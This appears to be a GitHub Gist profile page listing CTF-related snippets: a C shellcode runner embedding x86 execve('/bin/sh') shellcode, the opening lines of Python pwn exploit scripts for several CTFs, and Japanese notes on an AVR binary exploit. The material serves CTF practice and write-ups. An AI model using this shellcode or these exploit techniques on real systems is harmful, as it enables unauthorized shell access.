Skip to content

Instantly share code, notes, and snippets.

View Ga-ryo's full-sized avatar

Ga_ryo_ Ga-ryo

View GitHub Profile
@Ga-ryo
Ga-ryo / “超”市場価値の高い人材になれる! 今、「セキュリティエンジニア」を 目指すべき理由
Created April 12, 2019 10:44
“超”市場価値の高い人材になれる! 今、「セキュリティエンジニア」を 目指すべき理由
ないよ
@Ga-ryo
Ga-ryo / test_filename
Created February 25, 2019 23:13
test
test content
@Ga-ryo
Ga-ryo / CTFの問題を作るときに気をつけること
Created January 31, 2019 09:53
CTFの問題を作るときに気をつけること
まじめにやる
#include <stdio.h>
//gcc exec_shellcode.c -o exec_shellcode -m32 -z execstack -fno-stack-protector
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
int a=0xdeadbeef;
//pointer incremetn by its size
*(int *)(&a + 2) = sc;
@Ga-ryo
Ga-ryo / terfel.py
Created January 7, 2016 08:01
teufel.py(32c3 ctf)
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib
from libformatstr import FormatStr
def sock(remoteip="127.0.0.1", remoteport=1234):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
@Ga-ryo
Ga-ryo / avr-elf
Created December 7, 2015 08:18
SECCON2015 online 予選
Arduinoで有名なAtmel AVRのELFバイナリへのexploit
(概要)
レジスタの扱い方やスタックがエンプティスタックになっている等,x86とは異なる特徴があるが省略する.
最も特徴的なのはハーバードアーキテクチャであることだろう.
機械語用のROMとデータ用のRAMが全く別個に配置されている.そのためマシンコードのデータを読み取るには特殊な命令が必要になる.
(最初はデータ用領域の0x1800をずっとreadしていて謎のデータが出てきていたのでココで詰まった)
バイナリ中にあるlpmという命令がまさにそれである.
また,挙動が把握しづらい点として,実機でどうかは分からないがret命令で不正なアドレスがある時に例外は発生せず,そのまま下の命令を実行し始めるという挙動が確認できた.
その点を理解したうえでretでPCを書き換えられている場合とそうでない場合の挙動の違いからreturn addressまでのオフセットを求めた(デバッガのシミュレータで求めても良いし逆アセンブル結果ちゃんと見れば求まる).
@Ga-ryo
Ga-ryo / spell.py
Created September 7, 2015 11:27
MMACTF Writeup
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib
def sock(remoteip="127.0.0.1", remoteport=1234):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
@Ga-ryo
Ga-ryo / charlotte.py
Last active September 1, 2015 07:58
TDUCTFのWriteup(pwn系のみ)
#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib
# --- common funcs ---
def sock(remoteip, remoteport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)